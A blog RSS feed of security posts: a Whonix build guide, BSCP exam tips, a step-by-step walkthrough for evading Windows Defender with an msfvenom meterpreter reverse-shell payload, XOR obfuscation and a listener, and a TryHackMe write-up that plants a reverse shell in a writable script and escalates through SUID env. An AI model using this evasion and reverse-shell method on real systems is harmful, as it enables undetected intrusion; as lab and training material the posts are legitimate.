<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Karol Czubernat on Medium]]></title>
        <description><![CDATA[Stories by Karol Czubernat on Medium]]></description>
        <link>https://medium.com/@KarolCzubernat?source=rss-34465ecf26ed------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*OdyoB1yssPGEExiE</url>
            <title>Stories by Karol Czubernat on Medium</title>
            <link>https://medium.com/@KarolCzubernat?source=rss-34465ecf26ed------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 19:13:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@KarolCzubernat/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How to Run Whonix on macOS Apple Silicon (+ Pre-Built Images Included)]]></title>
            <link>https://medium.com/@KarolCzubernat/how-to-run-whonix-on-macos-apple-silicon-pre-built-images-included-8b92a4134011?source=rss-34465ecf26ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/8b92a4134011</guid>
            <category><![CDATA[anonymity]]></category>
            <category><![CDATA[it]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[whonix]]></category>
            <dc:creator><![CDATA[Karol Czubernat]]></dc:creator>
            <pubDate>Wed, 15 Apr 2026 19:31:00 GMT</pubDate>
            <atom:updated>2026-04-15T19:31:00.601Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M8oZuOd2_7v_sBPt6Jjiqw.jpeg" /><figcaption>Whonix Logo</figcaption></figure><p>There are pre-built Whonix images floating around online, but most of them are outdated and you can never be fully sure where they came from. If you care about what you’re actually running, building from source is the way to go.</p><p>There are also a bunch of guides out there that cover this process, but a lot of them are incomplete or have steps that just don’t work — which leads to failed builds and a lot of frustration. This guide has been tested through roughly 3 full builds and works consistently.</p><h3>Step 1: Create a Debian arm64 VM in UTM</h3><p>Instead of setting up Debian manually from an ISO, grab the ready-made image straight from the UTM Gallery:</p><p><a href="https://mac.getutm.app/gallery/debian-12-rosetta"><strong>https://mac.getutm.app/gallery/debian-12-rosetta</strong></a></p><p>Open UTM, click the gallery link above, and import the image. It’ll drop you into a working Debian 12 arm64 environment without having to go through a manual install.</p><p>A few things to check before you continue:</p><ul><li><strong>Don’t enable GPU acceleration</strong> — it causes crashes.</li><li>Storage: make sure the VM’s storage folder is somewhere you can easily find it later, since the final Whonix images will end up there.</li></ul><p>Once the VM is running, open a terminal and run:</p><pre>sudo apt update &amp;&amp; sudo apt install spice-vdagent spice-webdavd dosfstools</pre><p>Then set the hostname to host:</p><pre>sudo hostnamectl set-hostname host</pre><h3>Step 2: Prepare the Build Environment</h3><p>Log in as a regular user — not root.</p><p>Install the required dependencies:</p><pre>sudo apt update<br>sudo apt install git time curl approx lsb-release fakeroot dpkg-dev fasttrack-archive-keyring safe-rm</pre><h3>Configure passwordless sudo</h3><blockquote><strong><em>Note:</em></strong><em> If you’re using the UTM Gallery image, you may already have sudo set up correctly and can skip this. That said, it doesn’t hurt to run it anyway.</em></blockquote><pre>su<br>sudo adduser user sudo          # replace &quot;user&quot; with your actual username<br>reboot</pre><p>After rebooting:</p><p>bash</p><pre>echo &#39;%sudo ALL=(ALL:ALL) NOPASSWD:ALL&#39; | sudo EDITOR=tee visudo -f /etc/sudoers.d/dist-build-sudo-passwordless &gt;/dev/null</pre><h3>Clone the derivative-maker repo</h3><pre>cd ~<br>git clone --depth=1 --branch 18.1.4.2-developers-only --jobs=4 --recurse-submodules --shallow-submodules git@github.com:Whonix/derivative-maker.git<br>cd derivative-maker</pre><p>Before you run anything, check the current stable version at <a href="https://www.whonix.org/wiki/Dev/Build_Documentation/images">https://www.whonix.org/wiki/Dev/Build_Documentation/images</a> (or the forum news). If there’s a newer stable branch like 18.x.x.x-stable, swap the branch name accordingly.</p><h3>Step 3: Build Whonix</h3><p>Both builds run inside your Debian VM. They take a long time — don’t close the terminal.</p><p><strong>Important:</strong> Don’t build the Gateway and Workstation at the same time — run them one after the other, otherwise you may run into issues. Also keep in mind that the build time can vary a lot, anywhere from 25 minutes to a few hours depending on your machine — on an M5 Pro MacBook it took around 25–35 minutes per image.</p><p><strong>Gateway:</strong></p><pre>~/derivative-maker/derivative-maker \<br>  --flavor whonix-gateway-lxqt \<br>  --target utm \<br>  --arch arm64 \<br>  --tb open \<br>  --repo true \<br>  --vmsize 15G</pre><p><strong>Workstation:</strong></p><pre>~/derivative-maker/derivative-maker \<br>  --flavor whonix-workstation-lxqt \<br>  --target utm \<br>  --arch arm64 \<br>  --tb open \<br>  --repo true \<br>  --vmsize 25G</pre><p>Once both builds finish, you’ll have the UTM-ready Whonix images in your VM’s storage folder.</p><p>Getting them onto the host is a separate problem — shared folders, SBM, and other UTM file transfer methods tend to be unreliable in practice. What actually worked was uploading the images directly from inside the Debian VM to MEGA (mega.nz) and downloading them on the host from there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ccexj67HljRuQvZ5Rt7j7g.png" /></figure><p>If you just want the pre-built images, you can grab them here: <a href="https://mega.nz/folder/X3w0lAQB#rTsMsUUH2zgofMzg_Z3vEw">https://mega.nz/folder/X3w0lAQB#rTsMsUUH2zgofMzg_Z3vEw</a> — these are the images I built myself following this exact guide. That said, if you don’t trust me or need a different version, just build it yourself using the steps above.</p><h3>Known Issues</h3><p>Depending on the version you build, you may run into some quirks. On the version shown in this guide (18.1.4.2), there are known problems with installing Tor Browser directly inside the Whonix Workstation — the installer can fail or behave unexpectedly. The good news is that Tor routing through the Gateway works fine regardless, so your traffic is still being routed through Tor as intended.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8b92a4134011" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BSCP Guide: How to Prepare for the Burp Suite Certified Practitioner Exam (2025)]]></title>
            <link>https://medium.com/@KarolCzubernat/bscp-guide-how-to-prepare-for-the-burp-suite-certified-practitioner-exam-2025-63a212cb671e?source=rss-34465ecf26ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/63a212cb671e</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[burpsuite]]></category>
            <dc:creator><![CDATA[Karol Czubernat]]></dc:creator>
            <pubDate>Tue, 15 Jul 2025 19:15:35 GMT</pubDate>
            <atom:updated>2025-07-20T22:23:09.279Z</atom:updated>
            <content:encoded><![CDATA[<h3>BSCP Guide: How I Cracked the First App in Just 14 Minutes (Burp Suite Certified Practitioner)</h3><h4><strong>I managed to pass the Burp Suite Certified Practitioner exam the first time in just 60 minutes — with the first application taking me only 14 minutes. In the rest of this article, I’ll share what I did to achieve that result and how you can do the same.</strong></h4><blockquote><strong>My Personal Experience with the BSCP Exam</strong></blockquote><blockquote>For me personally, the exam was easy — but only because I prepared really thoroughly. Interestingly, when I was about one-third through my preparation, a practice exam took me 2 hours and I managed to exploit only one vulnerability. As I mentioned earlier, on the actual exam, the first application took me just 14 minutes (14 minutes for 3 vulnerabilities vs. 2 hours for 1 vulnerability). So, as you can see, it wasn’t easy, but the hard work paid off. If I passed on my first try, you can too! Good luck and enjoy the read!</blockquote><p>In this article I will present tips and how I prepared. You can see my certificate here: <a href="https://portswigger.net/web-security/e/c/fd55c0923b4d7429">Burp Suite Certification — PortSwigger</a></p><p>It took me only a month and a half to prepare, but I must point out that before I started preparing I had already completed 90% of the labs needed for the exam. During that time, I spent several hours each day (sometimes even more) studying.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zxMQOZ1ZRF_jlYy49en2Kw.png" /></figure><p><strong>Highlights of the exam: You have 2 applications, each containing 3 security flaws. To pass, you must successfully exploit all 3 issues in both applications — that means exploiting 6 in total. Partial completion isn’t enough: missing even one will result in failure. You have 4 hours to finish the entire exam.</strong></p><blockquote><strong>Stage 1</strong>: Get access to any user, mostly it will be carlos (or always, that’s likely too)</blockquote><blockquote><strong>Stage 2</strong>: Get access to the administrator account</blockquote><blockquote><strong>Stage 3</strong>: Access the /home/carlos/secret file, as far as I know, the vulnerability related to accessing this file is always in the admin panel.</blockquote><p><strong>Let me move on to the most important — how to prepare?</strong></p><p>First, complete all the labs from the APPRENTICE and PRACTITIONER levels. Labs from the Expert level do not appear on the exam. I highly recommend taking detailed notes — personally, I completed the labs twice during my preparation, this time making thorough notes to reinforce my understanding.</p><blockquote><strong><em>There are less important classes of vulnerabilities that, as far as I know, do not appear on the exam:</em></strong></blockquote><blockquote>Web Sockets, Clickjacking, GraphQL, LLM, NoSQL, Web Cache Deception</blockquote><p>These vulnerabilities most likely do not occur on the exam, although I recommend completing these labs anyway — this may change in the future, or some of these vulnerabilities do occur, and I just don’t have the knowledge.</p><p><strong>Here is a list of the most important labs — these are the ones you should focus on the most, but I still recommend doing ALL labs. If I’ve shared a link to an entire topic, you should make sure to focus on all the vulnerabilities covered within it.</strong></p><blockquote><a href="https://portswigger.net/web-security/all-labs#web-cache-poisoning">All labs | Web Security Academy</a> — Web Cache Poisoning</blockquote><blockquote><a href="https://portswigger.net/web-security/all-labs#authentication">All labs | Web Security Academy</a> — Authentication</blockquote><blockquote><a href="https://portswigger.net/web-security/all-labs#xml-external-entity-xxe-injection">All labs | Web Security Academy</a> — XXE</blockquote><blockquote><a href="https://portswigger.net/web-security/all-labs#server-side-request-forgery-ssrf">All labs | Web Security Academy</a> — SSRF</blockquote><blockquote><a href="https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-token-being-present">Lab: CSRF where token validation depends on token being present | Web Security Academy</a></blockquote><blockquote><a href="https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses/lab-referer-validation-depends-on-header-being-present">Lab: CSRF where Referer validation depends on header being present | Web Security Academy</a></blockquote><blockquote><a href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons">Lab: Exploiting Java deserialization with Apache Commons | Web Security Academy</a></blockquote><blockquote><a href="https://portswigger.net/web-security/all-labs#sql-injection">All labs | Web Security Academy</a> — It’s best to complete all the labs using SQLmap — just learn how to use SQLmap and basic WAF bypass techniques, for example, the --random-agent option.</blockquote><blockquote><a href="https://portswigger.net/web-security/cors/lab-breaking-https-attack">Lab: CORS vulnerability with trusted insecure protocols | Web Security Academy</a></blockquote><blockquote><a href="https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests">Lab: Exploiting HTTP request smuggling to capture other users’ requests | Web Security Academy</a></blockquote><blockquote><a href="https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss">Lab: Exploiting HTTP request smuggling to deliver reflected XSS | Web Security Academy</a></blockquote><blockquote><a href="https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse">Lab: DOM XSS using web messages and JSON.parse | Web Security Academy</a></blockquote><blockquote><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked">Lab: Reflected XSS into HTML context with most tags and attributes blocked | Web Security Academy</a></blockquote><blockquote><a href="https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration">Lab: Blind OS command injection with out-of-band data exfiltration | Web Security Academy</a></blockquote><blockquote><a href="https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context">Lab: Basic server-side template injection (code context) | Web Security Academy</a></blockquote><blockquote><a href="https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode">Lab: File path traversal, traversal sequences stripped with superfluous URL-decode | Web Security Academy</a></blockquote><blockquote><a href="https://portswigger.net/web-security/access-control/lab-user-role-can-be-modified-in-user-profile">Lab: User role can be modified in user profile | Web Security Academy</a></blockquote><blockquote><a href="https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning/lab-host-header-basic-password-reset-poisoning">Lab: Basic password reset poisoning | Web Security Academy</a></blockquote><h3>Tips:</h3><blockquote>Most importantly: complete as many mystery labs as you can. I personally completed exactly <strong>1,000</strong> — yes, one thousand, not one hundred — which probably helped me finish the entire exam in just one hour, and the first application in only 14 minutes. When working on mystery labs, don’t be afraid to use the scanner — on the contrary, use it to learn how it works.</blockquote><blockquote>If you’re having trouble with the initial Mystery Labs, don’t be afraid to use hints (but not the full solution). There’s nothing wrong with that, as hints only tell you what you need to do — for example, delete the morale.txt file — but they don&#39;t tell you which vulnerability to use to do it.<br> It&#39;s also similar to the exam, because in both cases the objective is clearly defined.</blockquote><blockquote>Focus on the 3 most difficult topics: XSS, DOM-based vulnerabilities, and request smuggling. These are the ones most likely to give you the most trouble.</blockquote><blockquote>Remember that the BSCP exam is an open book exam — you can use any resources you like, as long as you don’t get help from other people.</blockquote><blockquote>Learn how to use Burp Suite Pro scanner. Be sure to use it in conjunction with ActiveScan++ — the latter handles some vulnerabilities better, particularly Host Header and Web Cache Poisoning attacks. Personally, I only found one vulnerability using a scanner during the exam, but it was still very useful. It can easily detect issues like web cache poisoning, HTTP request smuggling, OS command injection, XSS, path traversal, CSRF, CORS, XXE, and host header vulnerabilities. The scanner also often detects suspicious headers such as X-Forwarded-Host, X-Forwarded-For, etc.</blockquote><blockquote>Complete both practice exams and review the XSS Cheat Sheet from PortSwigger. Practical exams are a great way to learn how to effectively bypass WAFs when dealing with XSS — and they also give you a solid understanding of the exam structure.</blockquote><blockquote>The Java Deserialization Scanner extension allows the standard Burp Suite scanner to detect deserialization-related vulnerabilities as well.</blockquote><blockquote>Learn to use tools like <strong>sqlmap</strong> (along with basic WAF bypass techniques such as the --random-agent parameter), <strong>PHPGGC</strong>, <strong>ysoserial</strong>, <strong>Smuggler</strong>, and <strong>www.jdoodle.com/execute-ruby-online</strong>.</blockquote><blockquote>Install these Burp Suite extensions and get familiar with them: <strong>ActiveScan++</strong>, <strong>HTTP Request Smuggler</strong>, <strong>Hackvertor</strong>, <strong>Deserialization Scanner</strong>, <strong>Param Miner</strong>, <strong>JWT Editor</strong>, <strong>Flow</strong>, and <strong>XSS Cheat Sheet</strong>.</blockquote><blockquote>If you’re having trouble with the practice exam, watch these videos: https://www.youtube.com/watch?v=yC0F05oggTE and <a href="https://www.youtube.com/watch?v=Cyv3dEQcxM8&amp;t">https://www.youtube.com/watch?v=Cyv3dEQcxM8&amp;t</a></blockquote><blockquote>Right after starting the exam, run the Burp Suite scanner on the GET / request. If HTTP request smuggling or web cache poisoning vulnerabilities are present there, they will be detected. Also, immediately run a Target scan on the <strong>search term</strong> parameter to detect XSS.</blockquote><blockquote>Right after starting the exam, check the application’s source code for DOM-based vulnerabilities.</blockquote><blockquote>Look out for suspicious signs that may indicate vulnerabilities. Outdated Angular? Probably XSS. JWT tokens? Likely a JWT attack. The page loads an image? Possibly path traversal, and so on.</blockquote><blockquote>If you’re having trouble with request smuggling (which you definitely will), I recommend this YouTube series: <a href="https://www.youtube.com/watch?v=4S5fkKJ4SM4&amp;list=PLGb2cDlBWRUX1_7RAIjRkZDYgAB3VbUSw">https://www.youtube.com/watch?v=4S5fkKJ4SM4&amp;list=PLGb2cDlBWRUX1_7RAIjRkZDYgAB3VbUSw</a></blockquote><blockquote>Learn how to exfiltrate data using Collaborator. For example, when doing a standard SSTI lab, put in extra effort and craft a payload that exfiltrates /etc/passwd to your Collaborator server. This will be necessary in Stage 3 of the exam.</blockquote><blockquote>Useful resources: <a href="https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study">https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study</a> and <a href="https://github.com/DingyShark/BurpSuiteCertifiedPractitioner">https://github.com/DingyShark/BurpSuiteCertifiedPractitioner</a>. I especially recommend the second one.</blockquote><blockquote>Learn how to exploit RFI and LFI. PortSwigger Academy doesn’t cover this, but it will be useful.</blockquote><blockquote>If you encounter XSS, one way to bypass the WAF might be using compiled payloads. Focus on learning this technique.</blockquote><blockquote>Write your short plan for the exam — for example:</blockquote><blockquote>1. Run the scanner on GET /</blockquote><blockquote>2. Check the source code for DOM-based vulnerabilities</blockquote><blockquote>3. Run the scanner on searchTerm</blockquote><blockquote>etc.</blockquote><blockquote>This will be helpful, trust me. But don’t rely on this cheat sheet 100% — other vulnerabilities might also appear.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*qagPOf9Qo81pUOLlJW8ieA.png" /></figure><blockquote>If you encounter SSRF, the flag will be here: <a href="http://localhost:6566/">http://localhost:6566/</a></blockquote><h3>Additional tips</h3><blockquote>If you don’t have Burp Suite Pro, you can request a 30-day trial from PortSwigger.</blockquote><blockquote>Remember to save your project and upload it to PortSwigger website after finishing the exam.</blockquote><h3><strong>Conclusion</strong></h3><p>I hope this article helps you. I shared everything I could to help you pass the exam. The exam itself and the preparation for it were genuinely enjoyable. It’s one of those rare certifications where you actually learn practical, real-world skills. Stay consistent, practice a lot — especially with mystery labs — and don’t get discouraged if something doesn’t work right away. Good luck, and enjoy the journey!</p><p>If you’d like to connect or have any questions, feel free to add me on LinkedIn: <a href="https://www.linkedin.com/in/karolczubernat/">https://www.linkedin.com/in/karolczubernat/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63a212cb671e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing Windows Defender in 2025 with DSViper]]></title>
            <link>https://medium.com/@KarolCzubernat/bypassing-windows-defender-in-2025-with-dsviper-65aa21328056?source=rss-34465ecf26ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/65aa21328056</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[gui̇de]]></category>
            <dc:creator><![CDATA[Karol Czubernat]]></dc:creator>
            <pubDate>Wed, 16 Apr 2025 17:28:39 GMT</pubDate>
            <atom:updated>2025-04-18T12:58:44.064Z</atom:updated>
            <content:encoded><![CDATA[<p>A Step-by-Step Red Team Walkthrough Using Modern Evasion Techniques</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*Fkxo4ch_hJ0yD1hjR3A1uw.jpeg" /><figcaption>DSViper</figcaption></figure><blockquote><strong>Disclaimer: This article is intended for educational and ethical security research purposes only. The techniques discussed should only be used in controlled environments and with proper authorization. I do not take responsibility for any misuse or damage caused by the application of this information.</strong></blockquote><p>—</p><p>In this article I want to present a way to bypass Windows Defender security using DSViper tool. It is very possible that other antiviruses can be bypassed in the same way, but I have not tested it. Of course, everything for educational purposes and in a controlled environment. We will need several tools for this:<br>1. The Metasploit Framework — to generate the payload that we will want to obfuscate<br>2. DSViper (<a href="https://github.com/dagowda/DSViper">https://github.com/dagowda/DSViper</a>)<br>3. LLVM to change the type of application, which I will explain later<br>4. Virtual machine with Linux preferred<br>5. Virtual machine with Windows 10/Windows 11</p><h4><strong>Update: I tested it on several other antivirus solutions — the result was the same, the payloads remained undetected.</strong></h4><p>—</p><blockquote>First, how to install DSViper? Just follow these commands:</blockquote><p>git clone <a href="https://github.com/dagowda/DSViper.git">https://github.com/dagowda/DSViper.git</a></p><p>cd DSViper</p><p>sudo apt install python3-requests</p><p>sudo apt install python3-pycryptodome</p><p>chmod +x install_dependencies.sh</p><p>./install_dependencies.sh</p><blockquote><strong>Right now we need to generate the payload using msfvenom. We will use the command to do this:</strong></blockquote><p><strong>msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.130.175 LPORT=443 -f raw &gt; payload.bin</strong></p><p>Remember to put your ip in the LHOST= field, it will probably be something like 192.168.XX.XXX.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*WnGhT2VbXC3IGV-0EtLeQQ.png" /></figure><blockquote><strong>Now the generated payload needs to be encrypted with XOR using DSViper. While other techniques like AES can also be used, in my experience XOR works best.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*lzovaMWMQlLM4J67Ib-KaQ.png" /></figure><p>Now there is a problem. This payload, when run on a windows system, runs in console mode, which means that it displays a terminal window which, when closed, closes the meterpreter session. To solve this problem we will use the <strong>llvm</strong>. You can install it with the command:</p><p>sudo apt install llvm</p><p><strong>Now use the command:</strong></p><p>llvm-objcopy --subsystem windows payloadname.exe</p><p>The payload is ready! You can upload it to a windows VM by running a simple http server with the command:</p><p>python3 -m http.server 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MVQZWf4fFa7i_Eox_Erp2Q.png" /></figure><p><strong>Run metasploit listening using:</strong></p><p>use exploit/multi/handler</p><p>set payload windows/x64/meterpreter_reverse_tcp</p><p>set LHOST=192.168.88.130</p><p>set LPORT=443</p><p>exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zh6zyGaoQauhU8z0myzboQ.png" /></figure><p>When you run the payload on a Windows machine, you will get a Meterpreter session, bypassing Windows Defender and many other antivirus solutions.</p><blockquote><strong>Remember to use this responsibly, legally and only in a controlled environment or in an environment where you have permission to do so.</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65aa21328056" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Anonymous write-up (TryHackMe)]]></title>
            <link>https://medium.com/@KarolCzubernat/anonymous-write-up-tryhackme-dc4e3a6d51ac?source=rss-34465ecf26ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc4e3a6d51ac</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Karol Czubernat]]></dc:creator>
            <pubDate>Wed, 26 Feb 2025 17:42:03 GMT</pubDate>
            <atom:updated>2025-02-26T22:57:57.939Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uQDxMMzSGclxbbS1c__TbA.jpeg" /></figure><p>Anonymous is an easy CTF on the TryHackMe platform. It primarily teaches FTP enumeration and privilege escalation via SUID.</p><p><a href="https://tryhackme.com/">TryHackMe | Cyber Security Training</a></p><blockquote><strong><em>ENUMERATION</em></strong></blockquote><p>The first thing we will do is scan the ports using nmap. I used the following command for this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*5io82CEFfVWBrzrRQDk1Kg.png" /></figure><p>sudo nmap -A -T5 IP.IP.IP.IP -Pn</p><p>The options I used:</p><ul><li>-A – Enables aggressive scan (OS detection, service versions, scripts, and traceroute).</li><li>-T5 – Sets the fastest scan speed (very aggressive).</li><li>-Pn – Skips host discovery, scanning all targets as if they are online.</li></ul><p>Here’s what nmap returned:</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><em>PORT STATE SERVICE VERSION<br>21/tcp open ftp vsftpd 2.0.8 or later<br>| ftp-anon: </em><strong><em>Anonymous FTP login allowed</em></strong><em> (FTP code 230)<br>|_drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts [NSE: writeable]<br>| ftp-syst: <br>| STAT: <br>| FTP server status:<br>| Connected to ::ffff:10.21.109.135<br>| Logged in as ftp<br>| TYPE: ASCII<br>| No session bandwidth limit<br>| Session timeout in seconds is 300<br>| Control connection is plain text<br>| Data connections will be plain text<br>| At session startup, client count was 2<br>| vsFTPd 3.0.3 — secure, fast, stable<br>|_End of status<br>22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)<br>| 256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)<br>|_ 256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)<br>139/tcp open netbios-ssn Samba smbd 3.X — 4.X (workgroup: WORKGROUP)<br>445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)<br>Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (93%), Linux 2.6.32 (93%), Linux 3.11 (93%), Linux 3.2–4.9 (93%), Linux 3.7–3.10 (93%)<br>No exact OS matches for host (test conditions non-ideal).<br>Network Distance: 2 hops<br>Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel</em></p><p><em>Host script results:<br>|_nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)<br>| smb-os-discovery: <br>| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)<br>| Computer name: anonymous<br>| NetBIOS computer name: ANONYMOUS\x00<br>| Domain name: \x00<br>| FQDN: anonymous<br>|_ System time: 2025–02–26T17:03:37+00:00<br>| smb-security-mode: <br>| account_used: guest<br>| authentication_level: user<br>| challenge_response: supported<br>|_ message_signing: disabled (dangerous, but default)<br>| smb2-time: <br>| date: 2025–02–26T17:03:37<br>|_ start_date: N/A<br>| smb2-security-mode: <br>| 3:1:1: <br>|_ Message signing enabled but not required</em></p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>The first thing we notice is ftp with anonymous login allowed, it’s worth checking it out.</p><p>You can log in to ftp using the command:<br>ftp IP.IP.IP.IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*Xcjqr9ePMszi38aVnDfkiA.png" /></figure><p>Log in as anonymous .</p><p>Here we find the folder scripts, go to it with the command cd scripts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*D6KC0r8biPlSDCBU5NzsgQ.png" /></figure><p>Now I download all the files using mget * .</p><p>Notice that there is a script clean.sh that performs some action. Notice also that we have permissions to modify it. In this way you can get reverse shell.</p><p>To modify the file we need a reverse shell in bash. You can find it here:</p><p><a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">Reverse Shell Cheat Sheet</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vggNRRFZl5AUDN8us2pBOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*29-042DUTh0J95xR7QEqBQ.png" /></figure><p>This is what the modified script will look like. Remember to enter the IP of your TryHackMe VPN in the appropriate place. You can check the IP with the command ip a (tun0)</p><p>This is the right time to turn on netcat. Use the nc -nvlp 1234 command for this (or any other port you have previously selected).</p><p>Now we need to replace the file with our malicious script that will give us access to the server. We will use the command: put clean.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hk77tgZYsrl4JOL8jz8omg.png" /></figure><p>After about 60 seconds you will get a reverse shell!</p><blockquote><em>PRIVILEGE ESCALATION</em></blockquote><p>Once the initial access is granted, it’s time to escalate privileges. We will use the following command for this:</p><p>find / -perm -4000 -type f 2&gt;/dev/null</p><p>The command returns a lot of binaries but we are interested in env.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*MfLWmoPKW1NMECZvF4hWIg.png" /></figure><p>As with any privilege escalation by SUID we will use GTFObins</p><p><a href="https://gtfobins.github.io/">GTFOBins</a></p><p>Find env and select SUID. You will see the command:</p><pre>/env /bin/sh -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hw2WgERIxVQMja-DD-7-IQ.png" /></figure><p>Now you need to slightly modify the command by changing the location of the env binaries. This will give you root privileges!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*_72-fF_7QyJ45cy8ESVpHA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc4e3a6d51ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnversity — write-up (TryHackMe)]]></title>
            <link>https://medium.com/@KarolCzubernat/vulnversity-write-up-tryhackme-006f17da1421?source=rss-34465ecf26ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/006f17da1421</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Karol Czubernat]]></dc:creator>
            <pubDate>Fri, 14 Feb 2025 13:07:53 GMT</pubDate>
            <atom:updated>2025-02-15T16:22:13.264Z</atom:updated>
